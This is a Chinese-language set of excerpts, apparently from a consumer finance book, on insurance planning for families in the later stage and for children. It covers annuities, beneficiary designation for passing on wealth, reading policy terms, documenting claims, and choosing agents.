　　关于投资风险，这里有一个比喻。通俗来说，人生的每一笔投资就是一次下注，聪明的赌客，一定不会把每一次赌中的盈利再次押在赌桌上。尽管本金越大，回报越大，但是一次失手，就没有翻本的机会了。所以每次赢钱，最好留点儿在手里，积少成多，就算某一次大输，腰包里好歹还剩着不少之前积累的钱。

　　在家庭中期阶段，适度积累一些能够终身稳定领取的年金保险，选择较长的缴费期，每年不用缴纳很多，从每年用于投资的资金中省出一些，或者从投资成功的回报中特意划拨出一些，逐年缴到年金保险中，日积月累，临近年老时发现，在全部资产中，这类安全稳健的年金保险比例也相当可观，等于是在所有风险投资之外，多留了一条养老资金的后路。年老之时，各项投资还没到大额获利的时刻（比如企业上市，创业项目的下一轮融资，都不是可以明确何时能够实现的），至少年金可以供养老生活使用，也算一种过渡资金吧。

　　这里传授一个技巧，就像前文对教育金增加投保人豁免一样，规划长期缴费的年金最好把主要人物作为投保人，增加豁免缴费的功能。这样一来，主要人物如果在年金缴费期间发生身故、重疾、全残这三个风险之一，后期所有年金保险的缴费都会由保险公司继续缴纳，家人可以无须缴费，享受未来年金的领取，这是一种把养老金和主要人物风险对冲的绝佳组合。

　　第五，子女们逐步长大，也需要量身设计保险，不仅仅能降低家庭医疗费用开支，也能对其产生良好的风险意识教育，实现对他的长期保护，关于小朋友如何上保险，后面的章节将单独进行讲解。

家庭发展后期的保险规划

　　家庭发展后期就是指子女已经完成学业，开始参加工作，并准备成立新家庭的这个阶段。这个阶段，很多家庭的财务状况已经趋于稳定，一般负债已经结束，积累的家庭财富正趋于高点。

　　此时，家庭中的主要人物都已经变成了长辈，下一代很快就要成为独立的家庭运作了，那么这些年近退休的消费者的首要目标就是调整投资结构，做好退休的养老金准备。

　　可以参考一个原则，用 72 岁减去现有年龄就是家庭做风险投资的参考比例。比如 50 岁的消费者，72 岁-50 岁=22 岁，那么在整体可投资资产中就不建议风险投资超过 22% 的比例。

　　当然，这个只是参考值，并不是绝对的，可以根据每个人对投资的了解和自身收入来调整。收入能力延续的越长，也就是说在年老的时候越能挣钱，可投资风险产品的比例就越高。这也很好理解，亏了还能挣回来当然就更敢投资；反之，收入能力终止得越早，则投资风险越需要重视并加以控制。

　　在这个家庭阶段，保险起什么作用呢？

　　它起到分散家庭整体投资风险的作用。毕竟保险属于安全投资，尤其作为养老年金时，保单上约定的定期返还是永远不会变化的，这几乎是诸多金融工具中唯一一个长期不变（几十年甚至终身）的承诺了。在家庭发展后期，有意识地提高保险养老金的比例，可以保障退休之后家庭的总收入。

　　不能等到退休之后再筹划养老金，因为那时需要的资金量会更大，而且也会因为年龄问题而很难投保。但是，本章节还要讲一下这个家庭阶段必须重视的事情——财富传承。这一内容在前文讲解保险的延伸功能时有所提及，但是以讲解资产转移为主，本章节会把传承部分所必需的知识再进行清晰的讲解。

　　很多人以为，财富传承这个词语是巨富家庭才会头疼的问题，其实，巨富家庭往往早有意识，会借助律师、金融人士提前安排；而普通家庭以为自己没有那么多现金，于是就把这一点严重忽略了。

　　殊不知，随着中国的发展，很多家庭拥有了高价值的房产，而这些往往是财富传承产生纠纷的焦点。

　　也许有些消费者还很年轻，以为跟自己关系不大，但其实传承是两代人之间的问题，要么是传承资产，要么是接受别人的资产，两代人的认知如果不统一，可能就会吃苦头。

　　家庭财富的积累来之不易，大多数家庭的财富与房产的升值有关，普遍家庭如果在传承中大比例流失财富，对原本可以完整承接财富的下一代来说是种遗憾。财富是种力量，运用得当可以给下一代更好的成长基础，甚至更多人生体验（比如创业）的试错成本。

　　目前最常见的，就是很多家庭对于传承什么都不做，理所当然地认为等到上一代终了，一切都是孩子的，继承就好了。我们在“聚法案例”搜索引擎上搜索一下继承纠纷，被收录的案件高达 20 多万例。

　　

　　图 4-3：聚法案例网站进行的关于继承案例的案由分析图

　　在所有的继承纠纷案例中，遗嘱、遗赠、遗赠抚养协议的纠纷占比不多，大部分纠纷是没有安排遗嘱等协议的法定继承，可见继承是一个很容易产生矛盾冲突的环节。

　　关于继承，安排很重要。书写遗嘱或者请人代写遗嘱是很多人的想法，其实，这个过程中有很多细节必须合规合法，强烈建议做正式的公证遗嘱，公证遗嘱能够确保合法性，未来需要的时候在全国各个公证处都可以联网查询公证遗嘱数据库中的存档。这样，在关键时刻就可以省去大量的烦恼。目前，公证处属于司法部门，所立的公证遗嘱最具效力，也优先于其他自书、代书、录音、口头遗嘱等形式。

　　其实，继承只是传承的方式之一，在传承环节中还有一个重点要考虑——需要先清偿身故者生前的各种债务、罚款、税金。

　　目前大多数家庭发展到中期，有可能涉及各种商业行为，难免会有各种各样的三角甚至多角债务关系。如果不希望辛苦积累的财富在未来传承的时候先被各种无谓的债权债务纠纷、生前无意义的一些诉讼纠纷导致冻结，就需要考虑更加高效清晰的传承方式。

　　有人可能觉得，那就不要传承了，趁活着的时候赶紧把房子转到孩子名下，或者给孩子在婚前全款买房，甚至把公司股权也早早转给孩子，这种方式叫作生前分配，其实也蕴含着巨大的风险。

　　不要以为房到了孩子的名下就稳妥了，首要风险是容易与孩子的婚后资产混同。很多人说，我在孩子婚前全款买或者过户的房子，标准的婚前资产啊。

　　确实，这些年来许多家长都没少研究婚姻法，确实收获了不少知识，问题是，婚前房产有多少年轻人会住一辈子不置换呢？

　　为了下一代的教育，是不是要换学区房？生了二胎要不要置换个大房子？只要卖房、买房的钱从婚后账户一过，基本都是婚后的共同财产了。

　　如前文一再强调的，这不是让大家在婚姻中互相提防。而是很多人的婚姻和自由最后还是被财富纠纷所困扰，反而会变得不幸福。

　　关于房产保护，有很多合法有效的手段，包括婚姻财产协议、过户时指定单独赠与协议等。这里不讨论这些法律问题，就来说说保险在家庭发展后期对于家庭财富传承的重要帮助。

　　1988 年 3 月 24 日，最高人民法院就人身保险金能否作为被保险人的遗产进行赔偿的问题批复河北省高级人民法院：

　　经征求有关部门的意见，现就你院请示关于人身保险金能否作为被保险人的遗产进行赔偿的问题，答复如下：

　　（一）根据我国保险法规有关条文规定的精神，人身保险金能否列入被保险人的遗产，取决于被保险人是否指定了受益人。指定了受益人的，被保险人死亡后，其人身保险金应付给受益人；未指定受益人的，被保险人死亡后，其人身保险金应作为其遗产处理，可以用来清偿债务或赔偿。

　　这一条应该怎么解读呢？保险赔偿算不算遗产，重点要看后一半，未指定受益人的，人身保险金应作为遗产处理。如果希望财富在下一代继承的时候不被视为遗产，不被卷入上一代生前的各种债务纠纷，使用保险身故受益指定是一个好办法。

　　各位别小看这一条，这笔指定了身故受益人的保险赔付金，是那个特殊时刻子女能够以最明确、最快速的方式拿到的一笔现金，能大大缓解很多问题。每个家庭在上一代主要人物故去的时候，都难免发生诸多波动。特别是在家中有企业的情况下，上一代故去的时候，股权的价值波动会引发一场股权争夺战，此时拥有最大现金流量的股东将拥有最大的收购优势，而此时下一代想保护住上一代辛苦创建的企业股权，最重要的就是利用优先转让权利收购不稳定的股权，这就需要钱——而生死时刻，能最快产生大量巨额现金的方式，毋庸置疑是保险赔付。

　　前面章节讲解过的保险金信托，也有类似的独特作用：用身故赔付金形成的家族信托，委托环节更清晰合法，信托也就更稳定，不同于用遗产形式委托设立的遗嘱信托，一旦遗产有纠纷，信托也会有被指认无效的可能。

　　这里需要强调的是，保险比其他的金融工具多一个身故指定受益人赔付的特殊功能，而且不视为遗产遗赠，在上一代到下一代的代际传承中能够起到大作用。

　　保险金信托有类似遗嘱的指定功能，又有着脱离遗产纠纷的特殊功能，善用这一点将给家庭财富传承带来巨大便利。

　　正如前面所说的，生前分配的问题很容易使财富在下一代手中被混同为婚后财产。

　　除了身故赔付这一招，还可以运用前面所提到的“投保人变更”的方法：投保人是上一代，被保人是下一代，把身故受益人指定为上一代。

　　这避免了生前提前分配财富最大的隐患：分配给子女的财富也有遗产分割的风险。这一点非常容易被大家忽略，但是却会导致非常严重的后果。

　　家庭发展后期早早就给予子女财富，一旦子女突然过世，除非子女提前给自己立了遗嘱，否则这些由家庭分配给子女的财富将按照子女的第一顺位继承人分配。

　　也就是说，由父母给予的这些财富并不能全额回到父母手里，当这种白发人送黑发人的情况发生，年迈的父母却拿不回当初分配出去的财富，那么父母的养老生活怎么办？而把子女的身故受益人写成父母，一旦子女提前离开，这笔财富以指定赔付的方式一分不少地回到父母手中，是不是一个极为稳妥的财富分配闭环？

　　细心的读者可能已经发现，这一部分的内容讲的是财富管理层面的问题。处于稳定后期的家庭，之前的诸多保险规划应当已经逐步完善，而且上一代的收入基本转化为了现有财富，对于这些现有财富的管理和风险的控制变成了财务规划的重点。

　　在风险控制中，除了投资中的风险控制手段，保险有着非常特殊的作用，既能保证大家对于财富的自然使用不受约束，又能规避未来的婚姻波动分割甚至死亡分配纠纷。这也是为什么近年来保险业频频出现年交过千万的保单，显然不是为了升值，而是为了财富的保护和传承。

　　这些保险的运用适用于任何财富等级的家庭。希望每一个家庭在发展后期及时抓住机会，处理好财富向下一代分配和规划的问题，提高财富的控制力，不要做了各种投资和储蓄，好不容易到了颐养天年的时候，却因为在财务规划上的疏忽，导致财富分割流失，或因常年的纠纷给下一代的生活带来困扰。

家有小孩怎么买保险？

　　在家庭初期和中期都涉及一个问题，那就是家里的小朋友怎么买保险？

　　对于这个问题，笔者的观点在前面的章节中已经有所体现：不能把每一人的保险独立看待，保险是家庭理财规划的一部分，跟其他金融工具是有关系的，跟其他家庭成员的保险更有关系。

　　保险业常说的一句话是：先大人后小孩，先保障后投资。这句话也提示我们，小朋友的保险实际上跟父母有很大关系。

　　前文讲到过，一切需要你不断支出金钱的行为都可以视为负债，所以家庭常见的负债不仅仅是房屋贷款、创业贷款，孩子的诞生也是财务规划上一个必须正视的“负债”。

　　有了“负债”，对挣钱还债的人就要多加保障。在给小朋友投保的过程中，很多人宁可给孩子交上好几万甚至更多的保费，却不舍得为自己投保。这是因为他们没有弄清一个概念：保险是带有极强的利他性的金融工具，那张保单最大的价值体现在受益人，不是被保人和投保人。

　　试想一下，孩子的保险利益设计再好，作为投保人的父母一旦发生风险失去收入能力，连为孩子继续缴纳保费都成难题，何来孩子的保障？孩子出现健康和意外风险，父母可以砸锅卖铁救助孩子，父母病倒发生意外，难道让孩子承担家庭重任？

　　笔者曾经在公司的客服大厅碰到一位退保的客户，看到他的保单是很多年前给孩子上的储蓄返还保险，当时约定的利息是现在银行定期的三倍。笔者感到很奇怪，这样能够一直返还终身的保险，如今买都买不着，怎么还会想退保。客户长叹一声：“我也知道这保险好，可是没给大人买啊，现在他爸爸出事了，等钱用，只能退保。”

　　笔者心中突然浮起一个想法：保险行业的工作不仅仅是提供产品，更要把正确科学的风险控制理念传播给整个社会，让大家不要再如此惆怅无力，让所有从业者都能尽到客观告知的责任，大人的保险才是孩子的第一保障。

　　于是，笔者给这位客户讲解了保单贷款活用的方法，最后筹划半天，他还是退保了其中一张保单换成现金救急，剩下的保单做了保单贷款，待渡过难关再还上，还是能够继续持有的。

　　笔者希望所有保险消费者都不要遇到这种窘况，在有了宝宝之后，要大致估算一下家庭未来 3—5 年，甚至一直到孩子长大成人独立之时的家庭总开支，把这个作为一个规划的额度目标来参考，减去之前已有的重疾和意外保障，就是家庭应该增加的保额。

　　笔者见过很多拒绝给自己投保的父母，最后作为妥协，在其为孩子投保的保险组合上增加了投保人豁免。也就是作为投保人的父母一旦发生重疾、身故、残疾这三种风险之一，孩子的保险由保险公司继续承担，这样在风险发生时，至少省去了孩子保险的支出，不会因为支出能力的下降中断或退保。

　　挣钱养家的主要人物有了必备的基础保额，未来家庭财务状态才会一直保持稳定。在这个基础上，我们再来讨论小朋友的保险内容。

　　小朋友的未来风险主要有以下三种：医疗费用支出风险、重大疾病风险、意外残疾风险，咱们一一说明。

　　第一，小朋友的医疗费用有很大的个体差异。有的小朋友几乎不去医院，有的小朋友隔三岔五就发烧拉肚子。不过笔者特别要说的并不是这种较为轻微的就诊费用，而是发生严重健康状况和意外伤害时的就诊费用。相信所有父母都想给孩子最佳的治疗康复方案，然而，目前小朋友即便跟着父母的社保一起享受报销，以北京为例，超过起付线之后只报销 70%，一年最高报销 15 万，还不包括自费项目和药品。

　　所以，给孩子一个高额的自费报销保险很有必要。关于这类百万医疗保险，前面的章节中已多次提及，就不赘述了。如果孩子经常生病需要就诊，父母可能希望给孩子投保能够在私立医院就诊的医疗保险。这类产品比较贵，而且需要一个成年人共同投保，所以，每年保费突破三四万很正常。这个费用不是所有家庭都能接受的，从孩子出生要是交个十几年，可不是一笔小钱。不过，现在有些保险公司推出了带有免赔 1 万多元的高端医疗，保费就降低到 1 万以内了，有的保险公司还推出了能够去公立医院的国际医疗部就诊的报销产品，会更加便宜，其实也能解决孩子家长需要快速就诊，住院环境舒适宽松的需求。

　　第二，因为小朋友的重疾发病率并不低，所以要考虑高额重疾赔付保险。根据国际儿童肿瘤学会调查发现，近 10 年来，每年儿童肿瘤发病率以 2.8% 速度上升，除了意外创伤以外，恶性肿瘤已经成为儿童死亡的第二大死因。白血病、脑肿瘤、淋巴瘤是儿童恶性肿瘤高发病种，1—3 岁儿童患肝母细胞瘤、肾母细胞瘤、恶性生殖肿瘤的概率更高，7 岁以上儿童多见肉瘤等肿瘤。

　　笔者特意把这些可怕的疾病名字依次列举一遍，是想告诉各位，不要以为小朋友刚刚来到人间，就不会有疾病的风险。好在小朋友的放化疗效果普遍优于成人，恶性肿瘤的 5 年存活率也远高于成人，但是要有足够的费用做长期与病魔抗争的准备。

　　而这个费用不仅仅体现在医疗费用支出上，任何一个有重病小朋友的家庭一定会面对各种其他开支，照顾一个人有时候需要许多人的心血，风险的发生带来的不仅仅是巨额的支出，更多的是家庭生活质量的全面下降。

　　要想拥有更加优质的生活，额外赔付一大笔钱是最直接的。这笔钱能用来减小家庭支出的压力，为父母解放出更多的时间和精力来陪伴孩子面对病痛，要知道，每一个孩子在这时候最需要的，就是父母的陪伴。而重大疾病保险是可以按照保额直接赔付一笔金钱供父母支配，给予这个家庭医疗费之外更多的经济支持，让父母更有余力照顾孩子。

　　小朋友的重大疾病保险有很多选择，如果经济能力允许，建议挑选市场上能够涵盖白血病加倍赔付和针对恶性肿瘤多次赔付的特型重疾保险产品。这类产品可以在这些格外严重，可能需要更多康复时间的病症发生时进行加倍甚至多次的赔付，大大减小家庭的经济压力。

　　如果没有足够的经济能力，可以选择一些消费型儿童重疾保障，每年缴费千元以下便可以获得大约三十万元的保额。

　　但是笔者特别不建议单一投保二十年或者三十年定期的重疾保险，小朋友选用这类型保险确实不贵，但是会到了约定的时间停止保障。如果还需要保障，则需要重新投保。然而那个时候，孩子的身体健康状况未必能够满足投保的要求。现在血糖问题、血压问题年轻化，所以要是打算投保长期保障，干脆购买终身保险。

　　二三十年的重疾保障与长期终身保障阶段性叠加比较科学，或者对未来有较大移民或国外生活可能性的孩子来说比较合适。原因在随后的内容里详细解释。

　　第三，重疾只是中国儿童的第二杀手，第一杀手是意外风险。

　　我国是世界上儿童意外伤害死亡率较高的区域之一。全球儿童安全组织公布的数据显示，每年有超过 20 万的 0—14 岁中国儿童死于意外伤害，数十万因意外伤害导致终身残疾。

　　咨询过未成年人保险的人，一定会发现，大多数未成年人的保险组合中，意外险只能购买到 10 万，这跟保险公司的核保规则有关。再保险公司对中国未成年被保险人也持保护态度，不敢让未成年人的人身安全承受过高的道德风险。

　　但是这限制了小朋友意外保障的额度。我们前面讲过，意外残疾有可能导致比重疾还持久的收入能力损失。同样，小朋友因发生意外而导致残疾将承受更久的折磨。

　　要知道，残疾和重大疾病不同，残疾会导致直观可见的伤害，这对小朋友的身心发育将造成深远的负面影响。我国儿童意外残疾事件 40% 都发生在家里，而且首要因素是烫伤。残疾需要进行整形、整容，甚至需要各种高科技假体、假肢，尽可能恢复小朋友的生活质量。而这些往往超出了医疗报销的范围，需要足够的经济实力才能承受。

　　显然，针对小朋友的高额意外残疾保障是个普遍性的设计缺失。

　　建议保险消费者在有足够支付能力的前提下选取一些特殊产品，把小朋友的意外保障提高到 50 万。市场上已经出现了这类产品，就是会要求附加长期重疾产品；如果家庭的缴费能力不足，就可以选择一些不限制叠加保额的消费型意外险，进行多份叠加。虽然每个消费型意外险对小朋友的意外身故和残疾只提供 10 万元的保额，但只要条款里面没有约定累积上限，就可以叠加购买。

　　最后说说儿童保险中一个较为常见而又重要的参考要素，就是目前很多小朋友都有出国留学甚至移民的计划，这个会对保险规划造成不小的影响。

　　很多报销型的保险都是针对国内的费用进行报销，出境后是不管的。这个需要在出国时慎重考虑，依据小朋友出国的身份是留学还是移民，选择当地的医疗费用报销保险。如果是短期外出，国内有专门的境外保险可以解决急性病就诊费用，其根据出境的时间长短来进行收费。

　　但是如果长期在境外生活，重疾和残疾保险赔付就需要增加一些手续。毕竟风险发生在国外，各种证明资料发回国内的时候，各公司都会有使馆资料公证等要求。而且发生理赔的时候，也不容易提供保险的专业服务。所以，长期居住境外或移民的家庭，需慎重考虑长期重疾和意外保险的理赔便利问题。这样的家庭，笔者建议不要在国内购买标准的 20 年或 30 年缴费的储蓄型终身重疾和意外险，可以用可长可短的万能险来进行保障。这样，如果确定要长期出国，万能险中途退保的损失较小，一般 0 岁孩子年缴费 5000 元，保障在 30 万或 40 万额度的，连续缴费十几年，如果要退保，几乎可以超过全部所交保费，不受什么损失；而长期缴费的储蓄型终身保险，如果中途退保，全部保费基本只能退回三分之一或者接近一半，就有些得不偿失了。而居住地在境外和境内频繁交替的家庭，则无须考虑这样的问题。

　　很多人会发现小朋友保险的一些特殊保障设计。像前面讲过的白血病加倍、恶性肿瘤多次赔付、轻度重疾多次豁免甚至赔付后对重疾保额加额，这些功能都需要投保长期稳定的 20 年或者 30 年缴费的终身保险组合。如果非常在意这些功能，不担心理赔手续烦琐一些的话，也是可以购买的。一旦购买，就尽量终身持有。不过还是要提醒大家，保险的服务性很强，如果长期在境外居住，还是需要在境外寻求保险专业人士的帮助。

“买多少”因人而异，“花多少”不一而论

　　很多消费者意识到，规划保险是个复杂的过程，于是就一个省心的方法——直接去参考与自己家庭情况相近的同事、朋友的保险。

　　这种情况很常见，笔者还经常碰到消费者同时给两个家庭咨询保险的情况，说：“我们两家一模一样，夫妻俩的年龄、收入都差不多，都是一个孩子，还同样大，我们两家整出一套规划就行。”

　　笔者在这个时候一般会问这几个问题：“你们两家赚的一样多，花的也一样多吗？你们两家每年能存下的钱一样吗？你们两家买房子贷款的额度一样吗？坐飞机、开车、乘车，甚至出差的频率一样吗？身体健康状况一样吗？吸烟、饮酒、熬夜的生活习惯一样吗？孩子未来的教育费用和计划相同吗”

　　问了这些，消费者也就明白了，看似相同的家庭因为负债、财务目标、结余能力、生活习惯的不同对“买多少”要精确微调，“花多少”更是跟短期的经济能力有很大关系。

　　“买多少”可以参考图 7-2：

　　图 7-2：买多少图示

　　经常会出差、开车的消费者可以针对性地增加身故保额和交通意外保险。对于生活习惯不好或者健康发展趋势不乐观（比如乙肝携带、体重超标、经常过度透支精力、工作压力较大）的个体，不仅仅保额要更高，而且要尽可能地配置长期终身重疾保障，避免短期保险在未来因为健康原因无法续保。

　　长期保险基本都比短期保险的保费贵，如果近期家庭经济状况紧张，就多使用短期保险（消费型的一年期或几年期的保险），这样整体缴费就会降低。如果针对某个家庭成员扩大长期保险（主要是长期终身重疾）的比例，自然会导致保费支出提高。

　　图 7-3 用于展示不同家庭阶段常运用的保险产品组合的优先顺序：

　　图 7-3：产品组合顺序提示图

　　该图展示了产品组合的优先顺序，也表现了保费控制的重点。如果再根据不同的个体情况的不同进行微调，就能实现一个比较个性化的良好配搭效果。即使“买多少”的保额被确定下来，也可以量身定制“花多少”。

快速掌握保险合同的要点

　　如何迅速了解自己的保险合同都管些什么？又应该怎么去理赔？保单中每个产品的条款都写着保障责任，不过要让消费者逐条去理解一定很头疼，再加上现在各种保险产品的附加条款很多，一个保单动辄二三百页。在这里教大家一个较为简单的办法，就是直接去看“保险责任”。

　　作为专业从业者，是要研读全部条款的，但是作为消费者，先记住保险责任是一个很好的办法，也足够掌握保障的要点了。

　　每个条款都有保险责任这一段落，消费者需要仔细阅读以下两部分：一是保什么，二是赔什么。保什么是指发生什么事能用上这个保险，一般包括身故、重大疾病、意外残疾、意外身故、住院、意外受伤治疗、门诊治疗。赔什么是指赔的是报销费用，还是按保额给钱。记住这两点就能让你知道准备理赔资料的重点。关于赔什么，另外有豁免、领钱等，这些可以先忽略，让专业服务人员帮助总结细节。

　　现在，笔者把具体方法教给大家，拿一张白纸，在正中央从上到下画一条长长的直线，把白纸分成左右两边：左边空白，从上到下写上七行，这七行就是笔者刚刚说的“保什么”。

　　表 10-1：保单整理简易表格

　　我们可以从表 10-1 中看到：右边空白部分与左边这七行对应，前四行都写“赔付”两个字，后三行写上“报销”两个字，暂且这么分就可以。

　　下面就该辛苦消费者了，因为保单中一般都是多个保险组合，消费者要依次看每个保险的条款，直接翻到保险责任这一栏。

　　看见针对身故理赔的，把这个险种的额度写在右边对应身故的第一行，再看见有身故赔付的，也加到右边第一行去；看到重大疾病的，额度相加在第二行；以此类推，这些只要填上保险责任里说的最高报销额度就好。依次把这七行填好。看到跟这七行不一样的保险责任，比如豁免、住院日额津贴、轻度重疾、多次赔付等，都先放一边，那些交给你的保险服务人员做专业全面的整理。

　　有了这样一张简易表格，消费者就能知道碰到这七类风险可以赔付或者报销多少。注意，赔付的不管报销，报销的不管赔付，两者互不相干。

　　如果这七行中有一行是空着的，就说明根本没有这一行对应的保障，消费者可以想想有没有别的社保或者单位的保障可以弥补这行的空白，也可以跟自己的保险服务人员再更新一下原有的规划。

　　要注意的是，产品可能是有期限的，不一定今天整理完是这些额度，未来就永远是这个额度；虽然阶段性的保障安排应该在“买前策略”中进行，但是多数消费者家庭的保单都是比较混乱的，所以定期整理很重要。

　　再详细讲解一下如何利用这个表格进一步帮助消费者把握理赔要点。

　　表格的左边，描述的是事件的性质，要得到左边任何一项理赔，就要向保险公司提交发生这个事件的证明资料。比如，如果想赔重大疾病，就要提交重大疾病的诊断证明、病理报告或者核磁报告；如果是住院，就要提交住院的病历、诊断证明、出院小结；意外门诊，就要给保险公司发生意外的相关证明、就诊的诊断证明、门诊病历等。

　　再说说右边。写着赔付的，只要左边的证明资料已经提交且验证无误，保险公司会计算要赔多少钱，只要把银行卡信息提交给保险公司即可。写着报销的，还要多一个步骤，除了提交左边的各种证明资料，还得把报销的相关单据递交保险公司，比如发票、收据等凭证。

　　关于报销的凭证，有一个建议。在医院交钱的时候，每交一次钱，缴费窗口都会出具发票和药品明细等。消费者可以拿一个带隔层的袋子，交钱收回来的纸质材料中，只要是患者保留的单据资料，就要单独放置。其余的资料，如检查报告、诊断证明、病历小结等，都放在另一个隔层里。

　　这些跟钱有关的资料比较特殊，不仅仅是发票，包括缴费窗口也会给出药品明细，俗称大明细和小明细，那些也不能丢。牢牢记住，只要交了钱，从窗口递出来的东西，都是重要资料。除了医院保留的，都要仔细存放，这些单据资料一旦遗失，医院是不给重新开的，保险公司也就无法报销。

　　用一个实际案例说明，比如某位消费者得了阑尾炎，手术住院了。

　　先看左边这列，显然不是身故和重大疾病。那么阑尾炎算不算意外？这里教大家一个简单分辨意外和疾病的方法，大家可以把意外大致理解成受伤。阑尾炎不是受伤，是自己病了，就是与住院和门诊有关。

　　那就看这两行右边有多少额度可以报销了，要向保险公司证明阑尾炎住院的事实，前面说的那些诊断证明、住院病历、出院小结都用得上，然后把住院前的费用单据和住院后的各种费用单据、明细都交给保险公司。

　　这里要特别提醒一句，上文可不仅仅是要消费者学会准备资料，这里有一个重要的逻辑，大家一定注意到，一切理赔先确定事件的性质，这个确定过程会受到消费者报案和说明过程的影响。这一个环节定性了，就能确定哪几行能理赔了；如果不属于这个性质，右边的额度再高都用不上。

　　笔者再说一个案例，便于大家更好地理解。

　　有人腰部扭伤剧痛，去了医院没有说明扭伤的过程，只说自己腰疼。如果没有住院，只有门诊费用，这样住院这一行就用不上了，只有意外治疗能用上了，是不是要把意外受伤这件事说清楚？是不是应该有某些证明能够说明意外的原因？可能消费者会觉得，直接让医生开住院证明，不就有住院的报销额度了吗？

　　事实上，这种腰部扭伤，疼痛难忍导致无法正常生活的，几乎都是腰椎间盘突出，甚至同时有腰椎压缩性骨折；虽然是住院了，但是这个描述正好属于住院保险免赔腰椎间盘突出的情形，是理赔不了的。等这时候，消费者再补充自己是因为剧烈运动或者摔倒导致扭伤的，保险公司也不会理赔。

　　其实从一开始，消费者要通过意外这一事件性质进行理赔，就应该留下一些照片、旁人的证明等，在医院也要说清楚是如何摔倒，或者严重碰撞等导致扭伤的。其实在这种情况下，只要确定不是陈旧性椎间盘脱落、陈旧性压缩性骨折，保险公司看到医院就诊病历上说明了是运动中造成受伤，是有理赔成功的可能性的。

　　当然，如果有一个特别专业的保险人士，从消费者发生问题的报案环节就介入并且提供服务，这些问题就不用消费者考虑，而且专业保险人士还会反复提醒消费者哪些证明资料是极其重要、需要特别保存的。

　　目前，大多数消费者还没意识到保险人员专业服务的重要性，自己又没有理赔的正确逻辑思维，就容易产生理赔难的感受。

　　希望这部分内容能让消费者增强相关的意识，检视自己的保单，进行罗列、分类、统计，在发生风险的第一时刻意识到自己是有保险的，再准备相应的理赔资料，认真考虑自己是否需要专业保险人员的服务。

建议

　　我们要客观看待市场和历史的变化，我们曾经叱咤风云的战场未必适合下一代，而是应该给予下一代更多的个性选择。创富一代们的事业选择往往是顺应大势，或者借助地域优势步步登高，却不一定有更多的个人兴趣在其中。并不一定要让下一代接班走我们的老路，应该让他们按照自己的兴趣去闯荡，给予他们开创的资金，给予他们试错的底气。

　　稳定无纠纷的现金是对子女闯荡世界最大的支持，不要总想着把企业给他们，对于下一代来说，那是个巨大的挑战，甚至有可能带来负面的心理影响。

　　财富管理、财务规划的最终目标是创造幸福，现金可以给予下一代更宽广的未来，更自由地向梦想前进，实现自我的价值。

其他摘录

　　挑选业务员显然是购买保险之前必须要做的判断，如果在购买之后或者理赔之后更换业务员，服务效果就大打折扣了，那怎么判断业务员是否适合我们家庭的需求呢？

　　其实牢牢记住那十二个字（谁先买、买什么、买多少、赔给谁）足以让各位消费者甄别业务员，至少能甄别他“买前”的专业能力。

　　当然，业务员的从业年资和获得的各项行业荣誉，这些也是参考因素，但不是决定性的因素，以及，仅仅通过从业时长或者销售业绩，还真不能判定一个从业者是否能够提供科学合理的规划并稳定实施。

　　当然，我们潜在的判定标准是：“好”的从业者必须能够提供科学合理的规划并稳定实施。

　　所以，建议短期的（消费型一年期或几年期）保险可以选择一些新兴的“小”保险公司，长期的保险规划所使用的保险产品，笔者个人建议还是选用“大”公司的较为稳妥。

　　保险核保中的医学逻辑与临床医学的逻辑是不一样的。核保的医学逻辑是带有“预见性”的，关注的是未来的发病率和死亡率，而临床医学更加关注当下的健康。

　　比如消费者略微超重、血脂略高、血压略高，这三种现象同时存在，在临床医学上都不叫“病”，没有治疗的必要，只要尽可能在日常生活中加以注意，尽量恢复到正常指标即可。但是在核保中，就可以通过大数据来判断这个消费者是否有不良健康转化的趋势，风险概率是否会超于常人，所以就有可能加费甚至出现更严格的审核。

　　所以，消费者要尽量选择自己身体较为状况良好的阶段进行投保，不要在连续熬夜、感冒初愈、短期体重升高的阶段投保。另外，在参加体检的时候也要格外注意，不要因为紧张而导致血压短期升高。

　　关于核保的结果，消费者应该特别重视，不仅是为了投保，也是因为这是一次难得的“预判”。

　　我们其实都很关心自己的健康和寿命，虽然很多人嘴上会说：“活那么久干吗，六七十岁就行了。”但是如果真的有一个算命大师说咱们活不长，大多数人心里都会有阴影。

　　笔者有时候会开玩笑说，核保可比算命要精确。大家想想，保险公司当然愿意收消费者的保费，这是保险公司的主营业务啊，但是核保之后要加费，难道不担心消费者放弃投保吗？甚至有时候还拒保，这真是有钱都不赚啊。不过，消费者要反过来想想，如果保险公司有钱都不赚，这意味着我们的身体状况有多差？投保不成，但是却给消费者敲响了警钟，未必不是一件好事儿啊。

　　向保险公司如实告知自己真实的健康状况，对理赔是大有好处的。不如实告知，现在的数据交换如此发达，消费者住院、检查、开药、体检的很多记录对于保险公司来说都不难获得，一旦在理赔的时候发现明显具有相关性的未告知记录，理赔自然无法顺畅高效。

　　所以提醒各位消费者，自己的社保卡不要随便给别人使用。笔者遇到过这样的实际案例：有的消费者年纪轻轻身体良好，但是社保就诊记录一大堆，原因是给家里诸位长辈使用，涉及的病症达十余项，投保极为困难。这要是在发达国家，因为滥用社保的问题，消费者就已经失去投保商业保险的资格了。

　　其实，要避免约定好的指定受益被前文两类极端情况打乱，很容易就可以做到，方法就是不要只指定一个受益人。

　　而超级企业家离世时，大家会发现资产现金流和身价并不一定画等号，中国身家数亿的企业家，现金流为千万以内，负债数千万、上亿的比比皆是。这样的主要人物如果不安排一笔身故时的战略性现金储备，将会使接班人陷于困境之中。

　　企业投保和个人投保最大的区别是主体不同，主体不同需求一定就不同。企业为员工人身健康和意外风险投保的时候，主要是为了降低企业的责任和经济支出。其投保的额度不会完全顾及出险的当事人的所有损失，而是主要参考企业所必须承担的责任。

　　而个人投保显然要全面考虑风险可能会引发的各种损失，额度是要尽可能足够，甚至把延伸的损失也要考虑到。

　　所以，要提示各位消费者，不要认为企业给予投保了就放心了，企业给予的保障额度与个人真实需求并不一定符合。企业给员工投保，大多数是平均且一致的保障，但是个人在为家庭投保的过程中，会针对每个人不同的风险后果来进行规划，两者的规划思路很不一样。

　　“谁先买”“买什么”“买多少”，再加上最后一个“赔给谁”。把握这十二个字，就能定出买前策略。

　　第三，香港或其他境外保险公司是不是比内地的保险公司经营更加稳定，服务更好？

